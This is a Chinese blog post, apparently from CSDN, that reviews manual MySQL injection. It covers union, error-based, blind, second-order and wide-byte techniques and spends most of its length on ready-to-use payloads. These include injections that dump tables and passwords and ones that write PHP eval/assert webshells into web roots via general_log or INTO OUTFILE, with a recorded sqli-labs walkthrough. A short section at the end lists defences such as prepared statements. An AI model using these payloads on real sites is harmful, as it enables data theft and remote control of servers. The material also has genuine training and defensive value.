SQL手工注入、mysql写shell复习

Mysql 手工注入

1.1 联合注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入

基于extractvalue()和updatexml()的报错注入_叶子的Blog-CSDN博客

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入 一般用到函数 sleep() 

一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

1.3.2 布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 二次注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入


id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

1.5 叠堆注入

1.6 MySQL写shell 详解

1.6.1 日志写入一句话木马基础知识

条件一:全局变量general_log为ON

general_log 指的是日志保存状态,一共有两个值(ON/OFF),ON代表开启,OFF代表关闭

general_log_file 代表的是日志的保存路径。下面举例说明

mysql> show global variables like "%general_log%";
+------------------+--------------------------------------------------------+
| Variable_name    | Value                                                  |
+------------------+--------------------------------------------------------+
| general_log      | OFF                                                    |
| general_log_file | D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.02 sec)

无论你的sql语句是否能执行正确,语句都会被记录到日志里面,但是此时的文件尾缀是.log日志文件,不过我们可以通过sql语句来改变文件尾缀。

条件二:.需要secure_file_priv为空,即secure_file_priv="";或者secure_file_privgeneral_log_file 日志的保存路径的磁盘。不过general_log_file可以直接通过SQL语句修改,必须要修改为比如php后缀的文件,不然马不能被解析:

所以基于此进行总结通过日志写入木马,union注入是行不通的,因为union注入就算在日志中写入了一句话木马,但是不能执行set,保存为.log文件无法用菜刀或者蚁键进行连接。所以要使用叠堆注入可以使用set来修改保存路径的尾缀。

1.6.2 日志写入一句话木马用法

若可以直接登录到别人的数据库中,直接进行执行sql语句的话

set global general_log_file='...php';
select '<?php assert($_POST[v]);?>';

若使用叠堆注入进行写入的话

set global general_log_file='...php';
?id=1;select '<?php assert($_POST[v]);?>';
或者直接?id=<?php assert($_POST[v]);?>;都可以了,因为sql语句不管对错日志都会记录

1.6.3 日志写入一句话木马靶场实验payload记录

http://?id=-1' union select 1,2,3;set global general_log='on';--+
打开参数

http://?id=-1' union select 1,2,3;set general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\log.php';--+
设置日志保存路径并修改尾缀
注:其中路径里的\用\\或者/代替,因为\的话会消失一个

http://?id=<?php assert($_POST[v]);?>;
写入一句话木马

-------使用蚁剑连接

1.6.4 mysql into outfile写入一句话木马

条件

就是mysql用户拥有file_priv权限(不然就不能写文件或者读文件)

show global variables like '%secure%';查看into outfile可以写入的磁盘。
(1)当secure_file_priv为空,就可以写入磁盘的目录。
(2)当secure_file_priv为G:\,就可以写入G盘的文件。
(3)当secure_file_priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和空的类型不一样)

secure_file_priv=””就是可以into outfile写入任意磁盘文件。

secure_file_priv设置通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量

首先要知道物理路径(into outfile '物理路径'),这样才能写对目录

查 select @@b asedir;——MySQL数据库安装的绝对路径:

mysql> select @@b asedir;
+--------------------------------+
| @@b asedir                      |
+--------------------------------+
| D:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.07 sec)

能够使用union查询或者能够使用叠堆注入或者直接能进入其他人的数据库进行sql语句的执行

1.6.5 mysql into outfile写入一句话木马用法

?id=1 union select '<?php @eval($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

叠堆注入
?id=1;select '<?php @eval($_POST['c']);?>' into outfile "C:/phpStudy/WWW/a.php"

其中路径里的\用\\或者/代替,因为\的话会消失一个

1.6.5 mysql into outfile写入一句话木马靶场payload记录

1.判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 报错
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常

2.判断列数

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 报错

说明存在3列

3.文件写入

http://127.0.0.1/sqli-labs-master/Less-7?id=1')) UNION SELECT 1,2,'<?php @e val($_POST["v"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

或者"D:/phpStudy/PHPTutorial/WWW/hack.php",就是不能\,经过测试这样导入不成功。



----------------------蚁剑连接

2.1 SQL注入防范手段

2.1.1 SQL语句预编译

String sql = "select id, no from user where id=?";
      PreparedStatement ps = conn.prepareStatement(sql);
      ps.setInt(1, id);
      ps.executeQuery();

       这里采用了PreparedStatement,就会将sql语句预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的 语法结构了,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的,只会被当做字符串字面值参数。所以sql语句预编译可以防御sql注入。

2.1.2 检查变量数据类型和格式

$uid=checkuid($uid);    //检测$uid是不是数字类型,不是不继续往下运行

$sql = "SELECT uid,username FROM user WHERE uid='{$uid}‘;

这段语句是为了保证了id是数字类型,checkid是一个自定义的函数,但是千万别直接里面写一个is_numeric就结束了啊,这很容易就可以用16进制或者是科学计数法去绕过的,这个还是少用吧,毕竟自写函数就像是写黑名单,肯定会有纰漏的

2.1.3 过滤特殊字符

例如:

public static boolean sql_inj(String str) 
{ 
String inj_str = “’|and|exec|insert|select|delete|update| 
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,”; 
String inj_stra[] = split(inj_str,”|”); 
for (int i=0 ; i < inj_stra.length ; i++ ) 
{ if (str.indexOf(inj_stra[i])>=0) { return true; } 
} 
return false; 
}

2.1.4 转译特殊符号

这里就是利用了addslashes函数去对特殊字符进行转义,比如单引号会被转译成\’,所以无法闭合和注释。不能达到sql注入攻击的效果。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值